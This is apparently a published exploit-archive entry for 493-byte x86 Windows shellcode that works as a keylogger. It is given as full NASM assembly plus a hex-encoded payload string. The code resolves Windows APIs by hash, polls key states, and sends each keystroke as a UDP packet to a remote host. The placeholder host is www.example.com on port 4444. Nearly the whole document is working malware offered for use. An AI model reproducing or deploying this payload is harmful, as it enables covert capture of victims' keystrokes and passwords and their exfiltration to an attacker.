; Exploit Title: x86 windows shellcode - keylogger reverse udp - 493 bytes
; Date: Fri Oct 13 12:58:35 GMT 2016
; Exploit Author: Fugu
; Vendor Homepage: www.microsoft.com
; Version: all win
; Tested on: Windows 7(x86), 8.1(x86), 10(x86_64)
; Note: it will write to single byte payload udp packets to host.
; keystrokes are written in format: "Virtual-Key Codes", from
; msdn.microsoft.com website
section .bss
section .data
section .text
global _start
_start:
cld ; 00000000 FC
call dword loc_88h ; 00000001 E882000000
pushad ; 00000006 60
mov ebp,esp ; 00000007 89E5
xor eax,eax ; 00000009 31C0
mov edx,[fs:eax+0x30] ; 0000000B 648B5030
mov edx,[edx+0xc] ; 0000000F 8B520C
mov edx,[edx+0x14] ; 00000012 8B5214
loc_15h:
mov esi,[edx+0x28] ; 00000015 8B7228
movzx ecx,word [edx+0x26] ; 00000018 0FB74A26
xor edi,edi ; 0000001C 31FF
loc_1eh:
lodsb ; 0000001E AC
cmp al,0x61 ; 0000001F 3C61
jl loc_25h ; 00000021 7C02
sub al,0x20 ; 00000023 2C20
loc_25h:
ror edi,byte 0xd ; 00000025 C1CF0D
add edi,eax ; 00000028 01C7
loop loc_1eh ; 0000002A E2F2
push edx ; 0000002C 52
push edi ; 0000002D 57
mov edx,[edx+0x10] ; 0000002E 8B5210
mov ecx,[edx+0x3c] ; 00000031 8B4A3C
mov ecx,[ecx+edx+0x78] ; 00000034 8B4C1178
jecxz loc_82h ; 00000038 E348
add ecx,edx ; 0000003A 01D1
push ecx ; 0000003C 51
mov ebx,[ecx+0x20] ; 0000003D 8B5920
add ebx,edx ; 00000040 01D3
mov ecx,[ecx+0x18] ; 00000042 8B4918
loc_45h:
jecxz loc_81h ; 00000045 E33A
dec ecx ; 00000047 49
mov esi,[ebx+ecx*4] ; 00000048 8B348B
add esi,edx ; 0000004B 01D6
xor edi,edi ; 0000004D 31FF
loc_4fh:
lodsb ; 0000004F AC
ror edi,byte 0xd ; 00000050 C1CF0D
add edi,eax ; 00000053 01C7
cmp al,ah ; 00000055 38E0
jnz loc_4fh ; 00000057 75F6
add edi,[ebp-0x8] ; 00000059 037DF8
cmp edi,[ebp+0x24] ; 0000005C 3B7D24
jnz loc_45h ; 0000005F 75E4
pop eax ; 00000061 58
mov ebx,[eax+0x24] ; 00000062 8B5824
add ebx,edx ; 00000065 01D3
mov cx,[ebx+ecx*2] ; 00000067 668B0C4B
mov ebx,[eax+0x1c] ; 0000006B 8B581C
add ebx,edx ; 0000006E 01D3
mov eax,[ebx+ecx*4] ; 00000070 8B048B
add eax,edx ; 00000073 01D0
mov [esp+0x24],eax ; 00000075 89442424
pop ebx ; 00000079 5B
pop ebx ; 0000007A 5B
popad ; 0000007B 61
pop ecx ; 0000007C 59
pop edx ; 0000007D 5A
push ecx ; 0000007E 51
jmp eax ; 0000007F FFE0
loc_81h:
pop edi ; 00000081 5F
loc_82h:
pop edi ; 00000082 5F
pop edx ; 00000083 5A
mov edx,[edx] ; 00000084 8B12
jmp short loc_15h ; 00000086 EB8D
loc_88h:
pop ebp ; 00000088 5D
push dword 0x3233 ; 00000089 6833320000
push dword 0x5f327377 ; 0000008E 687773325F
push esp ; 00000093 54
push dword 0x726774c ; 00000094 684C772607
call ebp ; 00000099 FFD5
mov eax,0x190 ; 0000009B B890010000
sub esp,eax ; 000000A0 29C4
push esp ; 000000A2 54
push eax ; 000000A3 50
push dword 0x6b8029 ; 000000A4 6829806B00
call ebp ; 000000A9 FFD5
push byte +0x10 ; 000000AB 6A10
jmp dword loc_1ceh ; 000000AD E91C010000
loc_b2h:
push dword 0x803428a9 ; 000000B2 68A9283480
call ebp ; 000000B7 FFD5
lea esi,[eax+0x1c] ; 000000B9 8D701C
xchg esi,esp ; 000000BC 87F4
pop eax ; 000000BE 58
xchg esp,esi ; 000000BF 87E6
mov esi,eax ; 000000C1 89C6
push dword 0x6c6c ; 000000C3 686C6C0000
push dword 0x642e7472 ; 000000C8 6872742E64
push dword 0x6376736d ; 000000CD 686D737663
push esp ; 000000D2 54
push dword 0x726774c ; 000000D3 684C772607
call ebp ; 000000D8 FFD5
jmp dword loc_1e3h ; 000000DA E904010000
loc_dfh:
push dword 0xd1ecd1f ; 000000DF 681FCD1E0D
call ebp ; 000000E4 FFD5
xchg ah,al ; 000000E6 86E0
ror eax,byte 0x10 ; 000000E8 C1C810
inc eax ; 000000EB 40
inc eax ; 000000EC 40
push esi ; 000000ED 56
push eax ; 000000EE 50
mov esi,esp ; 000000EF 89E6
xor eax,eax ; 000000F1 31C0
push eax ; 000000F3 50
push eax ; 000000F4 50
push eax ; 000000F5 50
push eax ; 000000F6 50
inc eax ; 000000F7 40
inc eax ; 000000F8 40
push eax ; 000000F9 50
push eax ; 000000FA 50
push dword 0xe0df0fea ; 000000FB 68EA0FDFE0
call ebp ; 00000100 FFD5
mov edi,eax ; 00000102 89C7
loc_104h:
push byte +0x10 ; 00000104 6A10
push esi ; 00000106 56
push edi ; 00000107 57
push dword 0x6174a599 ; 00000108 6899A57461
call ebp ; 0000010D FFD5
test eax,eax ; 0000010F 85C0
jz loc_122h ; 00000111 740F
dec dword [esi+0x8] ; 00000113 FF4E08
jnz loc_104h ; 00000116 75EC
xor eax,eax ; 00000118 31C0
push eax ; 0000011A 50
push dword 0x56a2b5f0 ; 0000011B 68F0B5A256
call ebp ; 00000120 FFD5
loc_122h:
push dword 0x3233 ; 00000122 6833320000
push dword 0x72657375 ; 00000127 6875736572
push esp ; 0000012C 54
push dword 0x726774c ; 0000012D 684C772607
call ebp ; 00000132 FFD5
push dword 0x657461 ; 00000134 6861746500
push dword 0x74537965 ; 00000139 6865795374
push dword 0x4b746547 ; 0000013E 684765744B
push esp ; 00000143 54
push eax ; 00000144 50
push dword 0x7802f749 ; 00000145 6849F70278
call ebp ; 0000014A FFD5
push esi ; 0000014C 56
push edi ; 0000014D 57
push eax ; 0000014E 50
xor ecx,ecx ; 0000014F 31C9
mov esi,ecx ; 00000151 89CE
mov cl,0x8 ; 00000153 B108
loc_155h:
push esi ; 00000155 56
loop loc_155h ; 00000156 E2FD
loc_158h:
xor ecx,ecx ; 00000158 31C9
xor esi,esi ; 0000015A 31F6
push byte +0x8 ; 0000015C 6A08
push dword 0xe035f044 ; 0000015E 6844F035E0
call ebp ; 00000163 FFD5
loc_165h:
mov eax,esi ; 00000165 89F0
cmp al,0xff ; 00000167 3CFF
jnc loc_158h ; 00000169 73ED
inc esi ; 0000016B 46
push esi ; 0000016C 56
call dword [esp+0x24] ; 0000016D FF542424
mov edx,esi ; 00000171 89F2
xor ecx,ecx ; 00000173 31C9
mov cl,0x80 ; 00000175 B180
and eax,ecx ; 00000177 21C8
xor ecx,ecx ; 00000179 31C9
cmp eax,ecx ; 0000017B 39C8
jnz loc_18fh ; 0000017D 7510
xor edx,edx ; 0000017F 31D2
mov ecx,edx ; 00000181 89D1
mov eax,esi ; 00000183 89F0
mov cl,0x20 ; 00000185 B120
div ecx ; 00000187 F7F1
btr [esp+eax*4],edx ; 00000189 0FB31484
jmp short loc_165h ; 0000018D EBD6
loc_18fh:
xor edx,edx ; 0000018F 31D2
mov ecx,edx ; 00000191 89D1
mov eax,esi ; 00000193 89F0
mov cl,0x20 ; 00000195 B120
div ecx ; 00000197 F7F1
bt [esp+eax*4],edx ; 00000199 0FA31484
jc loc_165h ; 0000019D 72C6
xor edx,edx ; 0000019F 31D2
mov ecx,edx ; 000001A1 89D1
mov eax,esi ; 000001A3 89F0
mov cl,0x20 ; 000001A5 B120
div ecx ; 000001A7 F7F1
bts [esp+eax*4],edx ; 000001A9 0FAB1484
push esi ; 000001AD 56
push byte +0x10 ; 000001AE 6A10
push dword [esp+0x30] ; 000001B0 FF742430
push byte +0x0 ; 000001B4 6A00
push byte +0x1 ; 000001B6 6A01
lea ecx,[esp+0x10] ; 000001B8 8D4C2410
push ecx ; 000001BC 51
push dword [esp+0x3c] ; 000001BD FF74243C
push dword 0xdf5c9d75 ; 000001C1 68759D5CDF
call ebp ; 000001C6 FFD5
lea esp,[esp+0x4] ; 000001C8 8D642404
jmp short loc_158h ; 000001CC EB8A
loc_1ceh:
call dword loc_b2h ; 000001CE E8DFFEFFFF
db "www.example.com",0
loc_1e3h:
call dword loc_dfh
db "4444",0
;"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b"
;"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c"
;"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
;"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20"
;"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac"
;"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
;"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
;"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
;"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
;"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00"
;"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x10\xe9\x1c\x01"
;"\x00\x00\x68\xa9\x28\x34\x80\xff\xd5\x8d\x70\x1c\x87\xf4\x58\x87"
;"\xe6\x89\xc6\x68\x6c\x6c\x00\x00\x68\x72\x74\x2e\x64\x68\x6d\x73"
;"\x76\x63\x54\x68\x4c\x77\x26\x07\xff\xd5\xe9\x04\x01\x00\x00\x68"
;"\x1f\xcd\x1e\x0d\xff\xd5\x86\xe0\xc1\xc8\x10\x40\x40\x56\x50\x89"
;"\xe6\x31\xc0\x50\x50\x50\x50\x40\x40\x50\x50\x68\xea\x0f\xdf\xe0"
;"\xff\xd5\x89\xc7\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85"
;"\xc0\x74\x0f\xff\x4e\x08\x75\xec\x31\xc0\x50\x68\xf0\xb5\xa2\x56"
;"\xff\xd5\x68\x33\x32\x00\x00\x68\x75\x73\x65\x72\x54\x68\x4c\x77"
;"\x26\x07\xff\xd5\x68\x61\x74\x65\x00\x68\x65\x79\x53\x74\x68\x47"
;"\x65\x74\x4b\x54\x50\x68\x49\xf7\x02\x78\xff\xd5\x56\x57\x50\x31"
;"\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08\x68\x44"
;"\xf0\x35\xe0\xff\xd5\x89\xf0\x3c\xff\x73\xed\x46\x56\xff\x54\x24"
;"\x24\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31"
;"\xd2\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31"
;"\xd2\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31"
;"\xd2\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x56\x6a\x10"
;"\xff\x74\x24\x30\x6a\x00\x6a\x01\x8d\x4c\x24\x10\x51\xff\x74\x24"
;"\x3c\x68\x75\x9d\x5c\xdf\xff\xd5\x8d\x64\x24\x04\xeb\x8a\xe8\xdf"
;"\xfe\xff\xff\x77\x77\x77\x2e\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63"
;"\x6f\x6d\x00\xe8\xf7\xfe\xff\xff\x34\x34\x34\x34\x00"
